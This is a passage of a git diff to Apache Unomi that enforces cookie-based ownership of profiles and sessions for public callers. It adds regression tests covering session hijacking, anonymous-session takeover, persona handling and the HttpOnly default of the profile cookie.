+ private boolean isOwnedByCookieBearer(String ownerProfileId, String cookieProfileIdAtRequest) {
+ return cookieProfileIdAtRequest != null && cookieProfileIdAtRequest.equals(ownerProfileId);
+ }
+
/**
* Check if an event is allowed in V2 compatibility mode.
* In V2, protected events required IP + X-Unomi-Peer (third-party key) authentication.
diff --git a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java
index 0b75e4e94a..36dc25fa94 100644
--- a/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java
+++ b/rest/src/main/java/org/apache/unomi/utils/EventsRequestContext.java
@@ -37,6 +37,7 @@ public class EventsRequestContext {
private Session session;
private boolean newSession = false;
+ private boolean sessionRefused = false;
private HttpServletRequest request;
private HttpServletResponse response;
private int changes;
@@ -138,6 +139,30 @@ public void setNewSession(boolean newSession) {
this.newSession = newSession;
}
+ /**
+ * Returns whether the session id supplied with the request was refused.
+ *
+ * A public caller may only continue a session that the profile cookie it presented already
+ * owns. When it supplies someone else's session id the session is detached rather than
+ * rebound, and no session exists for the rest of the request. Callers building a response must
+ * not echo the supplied session id back in that case, or the client would believe its session
+ * was accepted and keep replaying the same rejected id.
+ *
+ * @return {@code true} when the supplied session id was rejected
+ */
+ public boolean isSessionRefused() {
+ return sessionRefused;
+ }
+
+ /**
+ * Records that the session id supplied with the request was refused.
+ *
+ * @param sessionRefused {@code true} when the supplied session id was rejected
+ */
+ public void setSessionRefused(boolean sessionRefused) {
+ this.sessionRefused = sessionRefused;
+ }
+
/**
* Returns the accumulated event-processing change flags.
*
diff --git a/rest/src/test/java/org/apache/unomi/rest/config/ShippedProfileCookieConfigTest.java b/rest/src/test/java/org/apache/unomi/rest/config/ShippedProfileCookieConfigTest.java
new file mode 100644
index 0000000000..fe27728e99
--- /dev/null
+++ b/rest/src/test/java/org/apache/unomi/rest/config/ShippedProfileCookieConfigTest.java
@@ -0,0 +1,67 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.rest.config;
+
+import org.junit.jupiter.api.Test;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Pins the shipped default of the profile cookie's HttpOnly flag.
+ *
+ * Binding a public caller to the profile its cookie names only holds while that cookie cannot be
+ * read from page script, so the shipped default is part of the fix rather than a preference. The
+ * two files below are the ones an operator actually gets, which is why they are read here instead
+ * of asserting on {@code WebConfig}'s field default.
+ */
+class ShippedProfileCookieConfigTest {
+
+ /**
+ * The two files under test double as the fingerprint of the repository root: a directory
+ * holding both is the Unomi checkout rather than a nested copy or a same-named ancestor.
+ */
+ private static final String WEB_CFG_PATH = "web-servlets/src/main/resources/org.apache.unomi.web.cfg";
+ private static final String SYSTEM_PROPERTIES_PATH = "package/src/main/resources/etc/custom.system.properties";
+
+ @Test
+ void profileCookieHttpOnly_defaultsToTrue() throws Exception {
+ String webCfg = Files.readString(repoFile(WEB_CFG_PATH));
+ assertTrue(webCfg.matches("(?s).*profileIdCookieHttpOnly=\\$\\{[^}]*:-true}.*"),
+ "profileId cookie HttpOnly should default to true in " + WEB_CFG_PATH);
+
+ String systemProperties = Files.readString(repoFile(SYSTEM_PROPERTIES_PATH));
+ assertTrue(systemProperties.matches("(?s).*org\\.apache\\.unomi\\.profile\\.cookie\\.httpOnly=\\$\\{[^}]*:-true}.*"),
+ "profile cookie HttpOnly should default to true in " + SYSTEM_PROPERTIES_PATH);
+ }
+
+ private static Path repoFile(String relativePath) throws IOException {
+ Path candidate = Paths.get("").toAbsolutePath();
+ while (candidate != null) {
+ if (Files.isRegularFile(candidate.resolve(WEB_CFG_PATH))
+ && Files.isRegularFile(candidate.resolve(SYSTEM_PROPERTIES_PATH))) {
+ return candidate.resolve(relativePath);
+ }
+ candidate = candidate.getParent();
+ }
+ throw new IOException("could not locate the Unomi repository root from " + Paths.get("").toAbsolutePath());
+ }
+}
diff --git a/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java
new file mode 100644
index 0000000000..2a20a245f0
--- /dev/null
+++ b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java
@@ -0,0 +1,616 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.unomi.rest.service.impl;
+
+import org.apache.unomi.api.Persona;
+import org.apache.unomi.api.PersonaSession;
+import org.apache.unomi.api.PersonaWithSessions;
+import org.apache.unomi.api.Profile;
+import org.apache.unomi.api.Session;
+import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.security.UnomiRoles;
+import org.apache.unomi.api.services.ConfigSharingService;
+import org.apache.unomi.api.services.EventService;
+import org.apache.unomi.api.services.PrivacyService;
+import org.apache.unomi.api.services.ProfileService;
+import org.apache.unomi.rest.authentication.RestAuthenticationConfig;
+import org.apache.unomi.rest.authentication.V2ThirdPartyConfigService;
+import org.apache.unomi.schema.api.SchemaService;
+import org.apache.unomi.utils.EventsRequestContext;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.extension.ExtendWith;
+import org.mockito.Mock;
+import org.mockito.junit.jupiter.MockitoExtension;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.lang.reflect.Field;
+import java.util.Collections;
+import java.util.Date;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.mockito.ArgumentMatchers.anyString;
+import static org.mockito.Mockito.lenient;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+/**
+ * Regression tests for public profileId/sessionId bearer binding on context/eventcollector paths.
+ */
+@ExtendWith(MockitoExtension.class)
+class RestServiceUtilsImplProfileBindingTest {
+
+ private static final String COOKIE_NAME = "context-profile-id";
+
+ @Mock private ConfigSharingService configSharingService;
+ @Mock private PrivacyService privacyService;
+ @Mock private EventService eventService;
+ @Mock private ProfileService profileService;
+ @Mock private SchemaService schemaService;
+ @Mock private RestAuthenticationConfig restAuthenticationConfig;
+ @Mock private V2ThirdPartyConfigService v2ThirdPartyConfigService;
+ @Mock private SecurityService securityService;
+ @Mock private HttpServletRequest request;
+ @Mock private HttpServletResponse response;
+
+ private RestServiceUtilsImpl restServiceUtils;
+
+ @BeforeEach
+ void setUp() throws Exception {
+ restServiceUtils = new RestServiceUtilsImpl();
+ setField(restServiceUtils, "configSharingService", configSharingService);
+ setField(restServiceUtils, "privacyService", privacyService);
+ setField(restServiceUtils, "eventService", eventService);
+ setField(restServiceUtils, "profileService", profileService);
+ setField(restServiceUtils, "schemaService", schemaService);
+ setField(restServiceUtils, "restAuthenticationConfig", restAuthenticationConfig);
+ setField(restServiceUtils, "v2ThirdPartyConfigService", v2ThirdPartyConfigService);
+ setField(restServiceUtils, "securityService", securityService);
+
+ lenient().when(configSharingService.getProperty("profileIdCookieName")).thenReturn(COOKIE_NAME);
+ lenient().when(schemaService.isValid(anyString(), anyString())).thenReturn(true);
+ lenient().when(securityService.hasSystemAccess()).thenReturn(false);
+ lenient().when(privacyService.isRequireAnonymousBrowsing(org.mockito.ArgumentMatchers.any(Profile.class))).thenReturn(false);
+ }
+
+ @Test
+ void initEventsRequest_ignoresMismatchedBodyProfileIdForPublicCaller() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, "public-supplied-profile", null,
+ false, false, request, response, new Date());
+
+ assertEquals("cookie-profile", ctx.getProfile().getItemId());
+ verify(profileService).load("cookie-profile");
+ verify(profileService, never()).load("public-supplied-profile");
+ }
+
+ @Test
+ void initEventsRequest_ignoresBodyProfileIdWithoutCookieForPublicCaller() {
+ when(request.getCookies()).thenReturn(null);
+
+ try {
+ restServiceUtils.initEventsRequest(
+ "systemscope", null, "other-profile-id", null,
+ false, false, request, response, new Date());
+ throw new AssertionError("Expected BadRequestException when public caller has only a body profileId");
+ } catch (javax.ws.rs.BadRequestException expected) {
+ // Body profileId is ignored; with no cookie/session the request cannot bind a profile
+ }
+
+ verify(profileService, never()).load("other-profile-id");
+ }
+
+ @Test
+ void initEventsRequest_allowsBodyProfileIdWhenItMatchesCookie() {
+ Profile profile = new Profile("same-profile");
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "same-profile")});
+ when(profileService.load("same-profile")).thenReturn(profile);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, "same-profile", null,
+ false, false, request, response, new Date());
+
+ assertEquals("same-profile", ctx.getProfile().getItemId());
+ }
+
+ @Test
+ void initEventsRequest_refusesSessionProfileSwitchWithoutMatchingCookie() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ Profile sessionOwner = new Profile("session-owner");
+ Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("sess-1")).thenReturn(session);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "sess-1", "cookie-profile", null,
+ false, false, request, response, new Date());
+
+ assertEquals("cookie-profile", ctx.getProfile().getItemId());
+ // Foreign session must be detached (not rebound to the cookie profile)
+ assertEquals(null, ctx.getSession());
+ assertEquals("session-owner", session.getProfileId());
+ verify(profileService, never()).load("session-owner");
+ }
+
+ @Test
+ void initEventsRequest_trustedAdminMayUseBodyProfileIdOverride() {
+ Profile bodyProfile = new Profile("admin-chosen");
+ when(securityService.hasSystemAccess()).thenReturn(true);
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("admin-chosen")).thenReturn(bodyProfile);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, "admin-chosen", null,
+ false, false, request, response, new Date());
+
+ assertEquals("admin-chosen", ctx.getProfile().getItemId());
+ }
+
+ @Test
+ void initEventsRequest_trustedBodyOverride_notUndoneByMatchingCookieSession() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+
+ Profile cookieProfile = new Profile("cookie-profile");
+ Profile bodyProfile = new Profile("admin-chosen");
+ Session session = new Session("sess-1", cookieProfile, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("admin-chosen")).thenReturn(bodyProfile);
+ when(profileService.loadSession("sess-1")).thenReturn(session);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "sess-1", "admin-chosen", null,
+ false, false, request, response, new Date());
+
+ assertEquals("admin-chosen", ctx.getProfile().getItemId());
+ }
+
+ @Test
+ void initEventsRequest_trustedCaller_maySwitchToSessionProfile() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+
+ Profile cookieProfile = new Profile("cookie-profile");
+ Profile sessionOwner = new Profile("session-owner");
+ Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("sess-1")).thenReturn(session);
+ when(profileService.load("session-owner")).thenReturn(sessionOwner);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "sess-1", "cookie-profile", null,
+ false, false, request, response, new Date());
+
+ assertEquals("session-owner", ctx.getProfile().getItemId());
+ }
+
+ /**
+ * {@code invalidateSession} re-creates the session bound to the supplied id, so it must not
+ * be usable to sidestep the ownership rule that the binding path applies: a public caller may
+ * only invalidate a session its own cookie already owns.
+ */
+ @Test
+ void initEventsRequest_publicCallerCannotInvalidateAForeignSession() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ Profile sessionOwner = new Profile("session-owner");
+ Session foreignSession = new Session("foreign-sess", sessionOwner, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("foreign-sess")).thenReturn(foreignSession);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "foreign-sess", null, null,
+ false, true, request, response, new Date());
+
+ assertEquals("cookie-profile", ctx.getProfile().getItemId());
+ assertTrue(ctx.isSessionRefused(), "the refusal must be visible to the endpoint building the response");
+ assertNull(ctx.getSession(), "no session may be created for a refused id");
+ // The refused id must not be written back over the real owner's session.
+ verify(profileService, never()).saveSession(org.mockito.ArgumentMatchers.any(Session.class));
+ }
+
+ /** The same call is legitimate for a trusted caller, which may rebind sessions deliberately. */
+ @Test
+ void initEventsRequest_trustedCallerMayInvalidateAForeignSession() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+
+ Profile cookieProfile = new Profile("cookie-profile");
+ Profile sessionOwner = new Profile("session-owner");
+ Session foreignSession = new Session("foreign-sess", sessionOwner, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ lenient().when(profileService.loadSession("foreign-sess")).thenReturn(foreignSession);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "foreign-sess", null, null,
+ false, true, request, response, new Date());
+
+ assertFalse(ctx.isSessionRefused());
+ assertNotNull(ctx.getSession(), "a trusted caller still gets a session for the supplied id");
+ assertEquals("foreign-sess", ctx.getSession().getItemId());
+ }
+
+ /** A public caller invalidating a session it already owns is normal and must keep working. */
+ @Test
+ void initEventsRequest_publicCallerMayInvalidateItsOwnSession() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ Session ownSession = new Session("own-sess", cookieProfile, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ lenient().when(profileService.loadSession("own-sess")).thenReturn(ownSession);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "own-sess", null, null,
+ false, true, request, response, new Date());
+
+ assertFalse(ctx.isSessionRefused());
+ assertNotNull(ctx.getSession());
+ assertEquals("own-sess", ctx.getSession().getItemId());
+ }
+
+ // ---------------------------------------------------------------------------------------
+ // Anonymous browsing. All four branches of the anonymity handling in initEventsRequest are
+ // pinned here, because the session-ownership check cannot reach an anonymous session: such a
+ // session records no owner (getAnonymousProfile returns a profile with no itemId), so there is
+ // nothing to match the cookie bearer against. Branch 3 is therefore the one place where caller
+ // trust decides the outcome; the other three must stay untouched by that rule so a legitimately
+ // anonymous visitor is not detached on every request.
+ // ---------------------------------------------------------------------------------------
+
+ /**
+ * Branch 1: the visitor wants anonymity and the session already carries an anonymous profile,
+ * so nothing changes. This is the steady state of an anonymous visitor and must stay a no-op.
+ */
+ @Test
+ void anonymousBrowsing_alreadyAnonymousSession_isLeftUntouched() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ Profile anonymousProfile = anonymous();
+ Session session = new Session("anon-sess", anonymousProfile, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("anon-sess")).thenReturn(session);
+ when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(true);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "anon-sess", null, null,
+ false, false, request, response, new Date());
+
+ assertFalse(ctx.isSessionRefused(), "an anonymous visitor's own session must not be refused");
+ assertNotNull(ctx.getSession());
+ assertTrue(ctx.getSession().getProfile().isAnonymousProfile(),
+ "the session must keep its anonymous profile");
+ assertEquals("cookie-profile", ctx.getProfile().getItemId(),
+ "the request profile stays the real cookie profile");
+ }
+
+ /**
+ * Branch 2: the visitor has just asked for anonymity while their session still carries the real
+ * profile, so the session is switched to an anonymous profile. This is how anonymity is entered.
+ */
+ @Test
+ void anonymousBrowsing_entering_replacesSessionProfileWithAnonymous() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ Session session = new Session("sess", cookieProfile, new Date(), "systemscope");
+ Profile anonymousProfile = anonymous();
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("sess")).thenReturn(session);
+ when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(true);
+ when(privacyService.getAnonymousProfile(cookieProfile)).thenReturn(anonymousProfile);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "sess", null, null,
+ false, false, request, response, new Date());
+
+ assertFalse(ctx.isSessionRefused());
+ assertTrue(ctx.getSession().getProfile().isAnonymousProfile(),
+ "entering anonymity must swap the session profile for an anonymous one");
+ assertTrue((ctx.getChanges() & EventService.SESSION_UPDATED) != 0,
+ "the session change must be flagged so it is persisted");
+ }
+
+ /**
+ * Branch 3, trusted caller: rebinding an anonymous session to a real profile is a write that
+ * assigns an ownerless session to a named owner, so it stays available to a caller whose
+ * authority to name a profile has been established.
+ */
+ @Test
+ void anonymousBrowsing_leaving_rebindsSessionToTheRealProfileForTrustedCaller() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+ Profile cookieProfile = new Profile("cookie-profile");
+ Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("anon-sess")).thenReturn(session);
+ when(privacyService.isRequireAnonymousBrowsing(cookieProfile)).thenReturn(false);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "anon-sess", null, null,
+ false, false, request, response, new Date());
+
+ assertFalse(ctx.isSessionRefused());
+ assertNotNull(ctx.getSession());
+ assertEquals("cookie-profile", ctx.getSession().getProfile().getItemId(),
+ "leaving anonymity must bind the session back to the visitor's real profile");
+ assertTrue((ctx.getChanges() & EventService.SESSION_UPDATED) != 0,
+ "the session change must be flagged so it is persisted");
+ }
+
+ /**
+ * Branch 3, public caller: the same rebinding is refused.
+ *
+ * This is the anonymous-session takeover. An anonymous session carries no owner, so presenting
+ * its id was enough to have it rebound to the presenter's own profile and saved — the ownership
+ * rule enforced for named sessions had nothing to bite on. The session must stay anonymous and
+ * unchanged, so nothing is persisted and the real visitor keeps it.
+ */
+ @Test
+ void anonymousBrowsing_leaving_isRefusedForPublicCaller() {
+ Profile callerProfile = new Profile("caller-profile");
+ Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "caller-profile")});
+ when(profileService.load("caller-profile")).thenReturn(callerProfile);
+ when(profileService.loadSession("anon-sess")).thenReturn(session);
+ when(privacyService.isRequireAnonymousBrowsing(callerProfile)).thenReturn(false);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "anon-sess", null, null,
+ false, false, request, response, new Date());
+
+ assertNotNull(ctx.getSession());
+ assertTrue(ctx.getSession().getProfile().isAnonymousProfile(),
+ "a public caller must not take over an anonymous session by presenting its id");
+ assertNull(ctx.getSession().getProfileId(),
+ "the session must keep no owner rather than being assigned to the caller");
+ assertEquals(0, ctx.getChanges() & EventService.SESSION_UPDATED,
+ "nothing changed, so the session must not be persisted under the caller's profile");
+ assertEquals("caller-profile", ctx.getProfile().getItemId(),
+ "the caller still acts as its own cookie profile");
+ }
+
+ /**
+ * The same takeover attempted through {@code invalidateSession}, which re-creates the session
+ * under the supplied id. The ownership guard for that path keys off the session's profileId,
+ * which is null for an anonymous session, so it used to wave this through.
+ */
+ @Test
+ void anonymousBrowsing_invalidateSession_cannotTakeOverAnonymousSessionForPublicCaller() {
+ Profile callerProfile = new Profile("caller-profile");
+ Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "caller-profile")});
+ when(profileService.load("caller-profile")).thenReturn(callerProfile);
+ when(profileService.loadSession("anon-sess")).thenReturn(session);
+ when(privacyService.isRequireAnonymousBrowsing(callerProfile)).thenReturn(false);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "anon-sess", null, null,
+ false, true, request, response, new Date());
+
+ assertTrue(ctx.isSessionRefused(),
+ "a public caller must not recreate an anonymous session it cannot be shown to own");
+ assertNull(ctx.getSession(),
+ "the refused session must be detached rather than reissued under the caller's profile");
+ }
+
+ /** Branch 4: the ordinary non-anonymous case — the session is bound to the caller's profile. */
+ @Test
+ void anonymousBrowsing_notAnonymousAtAll_bindsSessionToCallerProfile() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ Session session = new Session("sess", cookieProfile, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("sess")).thenReturn(session);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "sess", null, null,
+ false, false, request, response, new Date());
+
+ assertFalse(ctx.isSessionRefused());
+ assertEquals("cookie-profile", ctx.getSession().getProfile().getItemId());
+ }
+
+ // ---------------------------------------------------------------------------------------
+ // Personas. A personaId short-circuits binding entirely: the profile and session both come
+ // from the persona, and the cookie/body binding logic below it never runs. Nothing covered
+ // this before, so a change to the binding code could have silently broken persona preview.
+ // ---------------------------------------------------------------------------------------
+
+ /** A persona overrides the cookie profile outright, and brings its own session with it. */
+ @Test
+ void persona_overridesCookieProfileAndSuppliesItsOwnSession() {
+ Persona persona = new Persona("persona-1");
+ PersonaSession personaSession = new PersonaSession("persona-sess", persona, new Date());
+ PersonaWithSessions personaWithSessions =
+ new PersonaWithSessions(persona, Collections.singletonList(personaSession));
+
+ lenient().when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.loadPersonaWithSessions("persona-1")).thenReturn(personaWithSessions);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, null, "persona-1",
+ false, false, request, response, new Date());
+
+ assertEquals("persona-1", ctx.getProfile().getItemId(), "the persona must win over the cookie");
+ assertNotNull(ctx.getSession(), "the persona's own session must be used");
+ assertEquals("persona-sess", ctx.getSession().getItemId());
+ verify(profileService, never()).load("cookie-profile");
+ }
+
+ /** A persona also wins over an explicitly supplied body profileId. */
+ @Test
+ void persona_winsOverBodyProfileId() {
+ Persona persona = new Persona("persona-1");
+ PersonaWithSessions personaWithSessions =
+ new PersonaWithSessions(persona, Collections.singletonList(
+ new PersonaSession("persona-sess", persona, new Date())));
+
+ when(profileService.loadPersonaWithSessions("persona-1")).thenReturn(personaWithSessions);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, "some-other-profile", "persona-1",
+ false, false, request, response, new Date());
+
+ assertEquals("persona-1", ctx.getProfile().getItemId());
+ verify(profileService, never()).load("some-other-profile");
+ }
+
+ /**
+ * An unknown persona must not blow up the request: the persona is simply not applied and the
+ * normal cookie binding takes over, so a stale persona id degrades to ordinary tracking.
+ */
+ @Test
+ void persona_unknownId_fallsBackToNormalCookieBinding() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadPersonaWithSessions("missing-persona")).thenReturn(null);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, null, "missing-persona",
+ false, false, request, response, new Date());
+
+ assertEquals("cookie-profile", ctx.getProfile().getItemId());
+ }
+
+ // ---------------------------------------------------------------------------------------
+ // invalidateProfile. Untested at IT level, and it sits inside the same block the security
+ // changes rewrote, so pin it: it must still hand the visitor a brand new profile rather than
+ // reusing the cookie one.
+ // ---------------------------------------------------------------------------------------
+
+ /** invalidateProfile discards the cookie profile and issues a fresh one. */
+ @Test
+ void invalidateProfile_issuesANewProfileInsteadOfTheCookieOne() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ lenient().when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, null, null,
+ true, false, request, response, new Date());
+
+ assertNotNull(ctx.getProfile());
+ assertFalse("cookie-profile".equals(ctx.getProfile().getItemId()),
+ "invalidateProfile must not reuse the cookie profile");
+ }
+
+ /** invalidateProfile is honoured for a trusted caller too, not silently swallowed by the trust path. */
+ @Test
+ void invalidateProfile_alsoAppliesForTrustedCallers() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+ Profile cookieProfile = new Profile("cookie-profile");
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ lenient().when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", null, null, null,
+ true, false, request, response, new Date());
+
+ assertNotNull(ctx.getProfile());
+ assertFalse("cookie-profile".equals(ctx.getProfile().getItemId()));
+ }
+
+ /**
+ * invalidateProfile together with a session the cookie owns: the session's profile wins and the
+ * visitor gets their old profile back, so the invalidation does not take effect.
+ *
+ * Pre-existing behaviour, pinned rather than changed - the session-adoption branch runs after the
+ * new profile is minted and overwrites it. It is also the only route by which an untrusted caller
+ * reaches {@code cookieOwnsSession == true}, so without this test that condition looks dead and
+ * would be an easy thing to "simplify" away. Callers that mean to start over must invalidate the
+ * session too.
+ */
+ @Test
+ void invalidateProfile_withOwnedSession_isUndoneBySessionAdoption() {
+ Profile cookieProfile = new Profile("cookie-profile");
+ Session session = new Session("own-sess", cookieProfile, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")});
+ when(profileService.load("cookie-profile")).thenReturn(cookieProfile);
+ when(profileService.loadSession("own-sess")).thenReturn(session);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "own-sess", null, null,
+ true, false, request, response, new Date());
+
+ assertFalse(ctx.isSessionRefused(), "the caller's own session must not be refused");
+ assertEquals("cookie-profile", ctx.getProfile().getItemId(),
+ "the session it owns hands the visitor its previous profile back");
+ }
+
+ /**
+ * A trusted server-side integration has no browser and therefore no profile cookie, so an
+ * explicit body profileId is the only way it can name the profile it means. Before the fix the
+ * override only counted when a cookie was also present, so this request had its profile silently
+ * replaced by the session's owner - the opposite of the documented behaviour for trusted callers.
+ */
+ @Test
+ void trustedCaller_explicitBodyProfileId_survivesWithoutACookie() {
+ when(securityService.hasSystemAccess()).thenReturn(true);
+ Profile intended = new Profile("intended-profile");
+ Profile sessionOwner = new Profile("session-owner");
+ Session session = new Session("sess-1", sessionOwner, new Date(), "systemscope");
+
+ when(request.getCookies()).thenReturn(null);
+ when(profileService.load("intended-profile")).thenReturn(intended);
+ when(profileService.loadSession("sess-1")).thenReturn(session);
+
+ EventsRequestContext ctx = restServiceUtils.initEventsRequest(
+ "systemscope", "sess-1", "intended-profile", null,
+ false, false, request, response, new Date());
+
+ assertEquals("intended-profile", ctx.getProfile().getItemId(),
+ "a trusted caller's explicit profileId must not be overridden by the session owner");
+ verify(profileService, never()).load("session-owner");
+ }
+
